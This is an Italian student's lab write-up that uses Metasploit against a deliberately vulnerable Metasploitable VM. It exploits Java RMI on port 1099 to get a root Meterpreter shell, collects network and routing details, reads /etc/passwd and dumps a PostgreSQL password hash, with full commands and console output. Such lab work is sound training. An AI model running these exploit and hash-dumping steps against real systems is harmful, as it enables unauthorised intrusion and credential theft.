METASPLOT HACKING:

#KALI LINUX #SERVIZIO JAVA RMI SU METASPLOITABLE

TRACCIA:

LA NOSTRA MACCHINA METASPLOITABLE PRESENTA UN SERVIZIO VULNERABILE SULLA PORTA **1099 – JAVA RMI**. SI RICHIEDE ALLO STUDENTE, RIPERCORRENDO GLI STEP VISTI NELLE LEZIONI TEORICHE, DI SFRUTTARE LA VULNERABILITÀ CON METASPLOIT AL FINE DI OTTENERE UNA SESSIONE DI METERPRETER SULLA MACCHINA REMOTA.

I REQUISITI DELL'ESERCIZIO SONO:

- LA MACCHINA ATTACCANTE **(KALI)** DEVE AVERE IL SEGUENTE INDIRIZZO IP: **192.168.11.111**
- LA MACCHINA VITTIMA **(METASPLOITABLE)** DEVE AVERE IL SEGUENTE INDIRIZZO IP: **192.168.11.112**
- UNA VOLTA OTTENUTA UNA SESSIONE REMOTA METERPRETER, LO STUDENTE DEVE RACCOGLIERE LE SEGUENTI EVIDENZE SULLA MACCHINA REMOTA: **1) CONFIGURAZIONE DI RETE; 2) INFORMAZIONI SULLA TABELLA DI ROUTING DELLA MACCHINA VITTIMA 3) ALTRO…**

L'ESERCIZIO RICHIEDE CHE LE DUE MACCHINE KALI E METASPLOITABLE SIANO SULLA STESSA RETE CON DUE IP STATICI DIFFERENTI IN NOTAZIONE CIDR /24.
IMPOSTO QUINDI L'IP STATICO DI METASPLOITABLE CON L'EDITOR NANO SU 192.168.11.112 NEL FILE /ETC/NETWORK/INTERFACES, MENTRE QUELLO DI KALI LINUX SARÀ 192.168.11.111.
FACCIO UN PING DI PROVA DA KALI VERSO METASPLOITABLE E VICEVERSA.

#PING DA METASPLOITABLE A KALI LINUX:

```
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=3.81 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=1.38 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.44 ms

--- 192.168.11.111 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
```

#PING DA KALI LINUX A METASPLOITABLE:

```
┌──(django㉿kali)-[~]
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.421 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.51 ms
^C
--- 192.168.11.112 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1032ms
rtt min/avg/max/mdev = 0.421/0.965/1.510/0.544 ms

┌──(django㉿kali)-[~]
└─$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt

                                                  :oDFo:`
                                               ./ymM0dayMmy/.
                                            -+dHJ5aGFyZGVyIQ==+-
                                         `:sm⊙~~Destroy.No.Data~~s:`
                                      -+h2~~Maintain.No.Persistence~~h+-
                                   `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
                                ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
```

AVVIO L'INTERFACCIA DI METASPLOIT SU KALI CON IL COMANDO «MSFCONSOLE», E CERCO IL MODULO EXPLOIT ADEGUATO AL SERVIZIO VULNERABILE CITATO NELLA TRACCIA CON «SEARCH JAVA RMI». IDENTIFICATO IL MODULO UTILE POSSO CARICARLO USANDO IL PATH OPPURE SCRIVENDO IL NUMERO A CUI CORRISPONDE NELL'ELENCO – IN QUESTO CASO «USE 4». CONTROLLO I PARAMETRI NECESSARI PER LANCIARLO CON IL COMANDO «SHOW OPTIONS». NOTO LA VOCE «YES» DI FIANCO ALLA COLONNA DEI PARAMETRI REQUIRED RHOSTS, DEVO DUNQUE INSERIRE L'INDIRIZZO IP DELLA MACCHINA VITTIMA CON «SET RHOSTS 192.168.11.112». LA PORTA È GIÀ SETTATA DI DEFAULT SU 1099 (TCP), CHE È QUELLA CORRISPONDENTE AL SERVIZIO JAVA RMI INDIVIDUATA ANCHE CON UNA VELOCE SCANSIONE CON NMAP. CONTROLLO I PAYLOAD ED UNA VOLTA APPURATO CHE NON CE NE SONO DA SELEZIONARE IN QUETSO CASO, POSSO DUNQUE LANCIARE L'ATTACCO CON IL COMANDO «EXPLOIT». L'ATTACCO MI RESTITUISCE UN ERRORE SUL TIMEOUT DEL HTTPDEPLOY, CHE ANDRÒ A SETTARE A 20 INVECE DI 10 DI DEFAULT.

#SCANSIONE VERSIONE SERVIZI CON NMAP:

```
┌──(django㉿kali)-[~]
└─$ nmap -sV -T4 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 18:13 EST
Nmap scan report for 192.168.11.112
Host is up (0.00081s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.09 seconds
```

```
msf6 > search java rmi

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22       excellent  Yes    Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
   1   exploit/multi/misc/java_rmi_server                    2013-05-22       excellent  Yes    Java JMX Server Insecure Configuration Java Code Execution
   2   auxiliary/scanner/misc/java_jmx_server                2013-05-22       normal     No     Java JMX Server Insecure Endpoint Code Execution Scanner
   3   auxiliary/gather/java_rmi_registry                                     normal     No     Java RMI Registry Interfaces Enumeration
   4   exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   5   auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   6   exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   7   exploit/multi/browser/java_signed_applet              1997-02-19       excellent  No     Java Signed Applet Social Engineering Code Execution
   8   exploit/multi/http/jenkins_metaprogramming            2019-01-08       excellent  Yes    Jenkins ACL Bypass and Metaprogramming RCE
   9   exploit/linux/misc/jenkins_java_deserialize           2015-11-18       excellent  Yes    Jenkins CLI RMI Java Deserialization Vulnerability
   10  exploit/linux/misc/kibana_timelion_prototype_pollution_rce  2019-10-30       manual     Yes    Kibana Timelion Prototype Pollution RCE
   11  exploit/multi/browser/firefox_xpi_bootstrapped_addon  2007-06-27       excellent  No     Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
   12  exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315  2023-05-26       excellent  Yes    Openfire Authentication Bypass with RCE plugin
   13  exploit/multi/http/torchserver_cve_2023_43654         2023-10-03       excellent  Yes    PyTorch Model Server Registration and Deserialization RCE
   14  exploit/multi/http/vmware_vcenter_uploadova_rce       2021-09-21       excellent  Yes    Total.js CMS 12 Widget JavaScript Code Injection
   15  exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc  2021-09-21       manual     Yes    VMware vCenter vScalation Priv Esc


Interact with a module by name or index. For example info 15, use 15 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/4IOGScBOH7d2c
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[-] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > 

msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  20               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```

FACENDO UN «CHECK» MI CONFERMA LA VULNERABILITÀ DEL SERVIZIO E LA POSSIBILITÀ DI EXPLOIT, MA ALL'ESECUZIONE GENERA UN ALTRO TIPO DI ERRORE NELLA FASE DI "RMI CALL" - "UNKNOWN RMI CALL FAILED".
DOPO UNA SERIE DI RICERCHE SUI FORUM HO COMPRESO CHE L'ERRORE È PROBABILMENTE DOVUTO ALL'INCOMPATIBILITÀ DELLE VERSIONI LEGATE A JAVA TRA UN SISTEMA KALI LINUX AGGIORNATO E UN METASPLOITABLE VECCHIO.

```
msf6 exploit(multi/misc/java_rmi_server) > check

[*] 192.168.11.112:1099 - Using auxiliary/scanner/misc/java_rmi_server as check
[+] 192.168.11.112:1099   - 192.168.11.112:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.11.112:1099   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.11.112:1099 - The target is vulnerable.
msf6 exploit(multi/misc/java_rmi_server) > exploit
[-] Unknown command: exploit
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/AebvU2T88MK2e
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[-] 192.168.11.112:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown RMI Call failed
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > Interrupt: use the 'exit' command to quit
msf6 exploit(multi/misc/java_rmi_server) > exit
```

PER LA SOLUZIONE DELL'ESERCIZIO IN QUESTO CASO HO DECISO DI SPEGNERE QUESTA MACCHINA KALI AGGIORNATA, ED INSTALLARE UNA SECONDA MACCHINA VIRTUALE DI KALI LINUX UTILIZZANDO UNA .ISO VECCHIA.
METTENDOLA SULLA STESSA RETE DI METASPLOITABLE CON LO STESSO INDIRIZZO IP ASSEGNATO ALLA MACCHINA ATTACCANTE 192.168.11.111 MI ASSICURO CHE LE DUE MACCHINE SI VEDANO CON UN PING E PROCEDO AD ESEGUIRE L'ESERCIZIO DI NUOVO. IN QUESTO CASO L'ATTACCO VA A BUON FINE E MI CONNETTO DIRETTAMENTE ALLA SHELL DI METASPLOITABLE CON METERPRETER DALLA QUALE POSSO INTERAGIRE DIRETTAMENTE CON LA MACCHINA VITTIMA ESEGUENDO UNA SERIE DI COMANDI TRA CUI "IFCONFIG" PER CARPIRE LA CONFIGURAZIONE DI RETE, "ROUTE" PER RICEVERE INFO SULLA TABELLA DI ROUTING, "SYSINFO" CHE MI DA INFORMAZIONI SUL SISTEMA E "LS" PER VISUALIZZARE FILE E CARTELLE PRESENTI NELLA DIRECTORY SYS E PERMESSI ANNESSI CHE POTREI ANDARE A MODIFICARE. POSSO ANCHE ACCEDERE DIRETTAMENTE ALLA SHELL CON COMANDO "SHELL" ED UTILIZZARE COMANDI DA LÌ.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/4lfssk
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:53314) at 2024-02-23 13:27:28 +0100

meterpreter > ifconfig

Interface  1
============

Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============

Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fedc:3d4
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask          Gateway  Metric  Interface
    ------          -------          -------  ------  ---------
    127.0.0.1       255.0.0.0        0.0.0.0
    192.168.11.112  255.255.255.0    0.0.0.0

IPv6 network routes
===================

    Subnet                        Netmask  Gateway  Metric  Interface
    ------                        -------  -------  ------  ---------
    ::1                           ::       ::
    fe80::a00:27ff:fedc:3d4       ::       ::

meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter >
```

```
meterpreter > cd sys
meterpreter > ls
Listing: /sys
=============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:16 +0100  block
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:14 +0100  bus
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:16 +0100  class
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:08 +0100  devices
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:11 +0100  firmware
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:08 +0100  fs
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:08 +0100  kernel
040666/rw-rw-rw-  0     dir   2024-02-23 13:35:15 +0100  module
040666/rw-rw-rw-  0     dir   2024-02-23 13:25:11 +0100  power
040666/rw-rw-rw-  0     dir   2024-02-23 13:35:15 +0100  slab
```

```
meterpreter > resolve host* -f IPv4

Host resolutions
================

    Hostname  IP Address
    --------  ----------
    host*     [Failed To Resolve]

Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2844  1692 ?        Ss   07:25   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   07:25   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   07:25   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   07:25   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   07:25   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   07:25   0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   07:25   0:00 [khelper]
root        41  0.0  0.0      0     0 ?        S<   07:25   0:00 [kblockd/0]
root        44  0.0  0.0      0     0 ?        S<   07:25   0:00 [kacpid]
root        45  0.0  0.0      0     0 ?        S<   07:25   0:00 [kacpi_notify]
root        90  0.0  0.0      0     0 ?        S<   07:25   0:00 [kseriod]
root       129  0.0  0.0      0     0 ?        S    07:25   0:00 [pdflush]
root       130  0.0  0.0      0     0 ?        S    07:25   0:00 [pdflush]
root       131  0.0  0.0      0     0 ?        S<   07:25   0:00 [kswapd0]
root       173  0.0  0.0      0     0 ?        S<   07:25   0:00 [aio/0]
root      1129  0.0  0.0      0     0 ?        S<   07:25   0:00 [ksnapd]
root      1319  0.0  0.0      0     0 ?        S<   07:25   0:00 [ata/0]
root      1322  0.0  0.0      0     0 ?        S<   07:25   0:00 [ata_aux]
root      1332  0.0  0.0      0     0 ?        S<   07:25   0:00 [ksuspend_usbd]
root      1339  0.0  0.0      0     0 ?        S<   07:25   0:00 [khubd]
```

ECCO ALTRI COMANDI CHE HO UTILIZZATO SULLA SHELL. INOLTRE SFRUTTANDO LA VULNERABILITÀ DI TELNET VISTA NELLE ESERCITAZIONI PRECEDENTI POSSO RECUPERARE LE CREDENZIALI DI ACCESSO.

```
ss
State    Recv-Q Send-Q     Local Address:Port        Peer Address:Port
ESTAB    0      196       192.168.11.112:53314      192.168.11.111:4444
```

```
telnet>
ps aux | grep telnet
telnet 192.168.11.112
Trying 192.168.11.112...
Connected to 192.168.11.112.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: Connection closed by foreign host.
```

DIGITANDO "CAT /ETC/PASSWD" POSSO VEDERE IL REGISTRO COMPLETO DEL NOME + PERCORSO DELLA SHELL CHE SI UTILIZZA. CI SONO UTENZE/PASSWORD NEL DATABASE /ETC/SECURITY/PASSWD CHE POSSO VISUALIZZARE... E CON IL COMANDO PASSWD INOLTRE, VISTO CHE HO L'ACCESSO CON L'UTENZA ROOT, POSSO ADDIRITTURA CAMBIARE LE CREDENZIALI D'ACCESSO ALLA MACCHINA.

PROVO ANCHE A SFRUTTARE LA VULNERABILITÀ DI POSTGRESQL SULLA PORTA 5432 TROVATA DA NMAP, CHE È UN DATABASE PRESENTE SU METASPLOITABLE. CERCO QUINDI UN MODULO ADATTO CON MSFCONSOLE -> SEARCH POSTGRES. VEDO DI RECUPERARE USERNAME E GLI HASH DELLE PASSWORD DEGLI UTENTI ATTIVI SUL SISTEMA TARGET, E QUINDI UTILIZZERÒ IL MODULO POSTREG_HASHDUMP (15). UNA VOLTA TROVATO L'HASH POTREI CRACKARLO CON JOHN THE RIPPER.

```
msf6 > search postgres

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   auxiliary/server/capture/postgresql                                     normal     No     Authentication Capture: PostgreSQL
   1   post/linux/gather/enum_users_history                                    normal     No     Linux Gather User History
   2   exploit/multi/http/manage_engine_dc_pmp_sqli           2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injecti
on
   3   exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11      manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
   4   auxiliary/admin/http/manageengine_pmp_privesc          2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   5   auxiliary/analyze/crack_databases                                       normal     No     Password Cracker: Databases
   6   exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20   excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   7   exploit/multi/postgres/postgres_createlang             2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   8   auxiliary/scanner/postgres/postgres_dbname_flag_injection               normal     No     PostgreSQL Database Name Command Line Flag Injection
   9   auxiliary/scanner/postgres/postgres_login                               normal     No     PostgreSQL Login Utility
   10  auxiliary/admin/postgres/postgres_readfile                              normal     No     PostgreSQL Server Generic Query
   11  auxiliary/admin/postgres/postgres_sql                                   normal     No     PostgreSQL Server Generic Query
   12  auxiliary/scanner/postgres/postgres_version                             normal     No     PostgreSQL Version Probe
   13  exploit/linux/postgres/postgres_payload                2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   14  exploit/windows/postgres/postgres_payload              2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   15  auxiliary/scanner/postgres/postgres_hashdump                            normal     No     Postgres Password Hashdump
   16  auxiliary/scanner/postgres/postgres_schemadump                          normal     No     Postgres Schema Dump
   17  auxiliary/admin/http/rails_devise_pass_reset           2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   18  post/linux/gather/vcenter_secrets_dump                 2022-04-15       normal     No     VMware vCenter Secrets Dump

Interact with a module by name or index. For example info 18, use 18 or use post/linux/gather/vcenter_secrets_dump
```

```
msf6 > use 15
msf6 auxiliary(scanner/postgres/postgres_hashdump) > show options

Module options (auxiliary/scanner/postgres/postgres_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/postgres/postgres_hashdump) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit

[+] Query appears to have run successfully
[+] Postgres Server Hashes
==========================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_hashdump) >
```